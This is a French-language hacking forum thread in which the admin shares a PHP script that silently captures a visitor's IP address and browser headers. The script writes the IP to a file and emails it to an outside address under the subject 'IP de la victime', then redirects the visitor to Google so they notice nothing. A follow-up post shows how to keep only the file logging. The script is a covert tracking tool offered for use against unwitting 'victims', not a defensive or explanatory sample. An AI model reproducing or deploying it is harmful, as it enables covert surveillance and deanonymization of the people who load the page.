BBS
Vous souhaitez réagir à ce message ? Créez un compte en quelques clics ou connectez-vous pour continuer.



 
PortailPortail  AccueilAccueil  GalerieGalerie  RechercherRechercher  Dernières imagesDernières images  S'enregistrerS'enregistrer  Connexion  
Le Deal du moment : -45%
Harman Kardon Citation One MK3 – Enceinte ...
Voir le deal
99 €

 

 recupérer une IP avec php

Aller en bas 
AuteurMessage
ReBeL
Admin
Admin
ReBeL


Masculin
Nombre de messages : 443
Age : 50
Localisation : Montréal
Emploi/loisirs : Homme
Date d'inscription : 09/05/2006

recupérer une IP avec php Empty
MessageSujet: recupérer une IP avec php   recupérer une IP avec php EmptyLun 26 Juin - 22:37

Voila un script pour enregistrer les IP des visiteurs dans un fichier .txt (le mail c pas tres malin...):



<?
ob_start();
define("IDX_GRANULARITY", 10000000);

function getClientIP() {

$ip = 0;

if (!empty($_SERVER['HTTP_CLIENT_IP']))
$ip = $_SERVER['HTTP_CLIENT_IP'];

if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) {
array_unshift($ipList, $ip);
$ip = 0;
}
foreach ($ipList as $v)
if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
return $v;
}

return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
}

function searchIndex($ip, $idxFileName = "ip-to-country.idx") {

$hFile = @fopen($idxFileName, "r");
if (!$hFile) return False;
$ip = (int)($ip / IDX_GRANULARITY);
$iRecord = 0;
$iIndex = 0;
while ($aData = fgetcsv($hFile, 100)) {
if ($ip >= $iIndex && $ip < $aData[0])
return array($aData[1], $iRecord);
$iIndex = $aData[0];
$iRecord = $aData[1];
}
fclose($hFile);
return array(-1, $iRecord);
}

$NewIp = getClientIP() ;

// Ecrire l'ip dans le fichier ip.txt
$fp = fopen("ip.txt","w"); // On ouvre le fichier en écriture
fseek($fp,0); // On se place en début de fichier
if (strlen($NewIp) > 6)
{
fputs($fp,$NewIp); // 5.On écrit dans le fichier le nouveau IP
}
else
{
fputs($fp,"0.0.0.0"); // On écrit dans le fichier "0.0.0.0"
}
fclose($fp); // On ferme le fichier
//print $NewIp ;

//<!-- Envoie ip par mail ! -->

$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "dd@onmenikpacomsadsl.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);
header('location:http://www.google.fr');
ob_end_flush();
?>
Revenir en haut Aller en bas
https://bbsquebec.1fr1.net
ReBeL
Admin
Admin
ReBeL


Masculin
Nombre de messages : 443
Age : 50
Localisation : Montréal
Emploi/loisirs : Homme
Date d'inscription : 09/05/2006

recupérer une IP avec php Empty
MessageSujet: Re: recupérer une IP avec php   recupérer une IP avec php EmptyLun 26 Juin - 22:38

Pour ceux qui ne voudraient pas utiliser le mail (pour des raisons bien comprehensibles...), enlevez
//<!-- Envoie ip par mail ! -->

$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "dd@onmenikpacomsadsl.com";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);


et laissez

header('location:http://www.google.fr');
ob_end_flush();
?>
Revenir en haut Aller en bas
https://bbsquebec.1fr1.net
 
recupérer une IP avec php
Revenir en haut 
Page 1 sur 1

Permission de ce forum:Vous ne pouvez pas répondre aux sujets dans ce forum
BBS :: hacking :: simple-
Sauter vers:  
Ne ratez plus aucun deal !
Abonnez-vous pour recevoir par notification une sélection des meilleurs deals chaque jour.
IgnorerAutoriser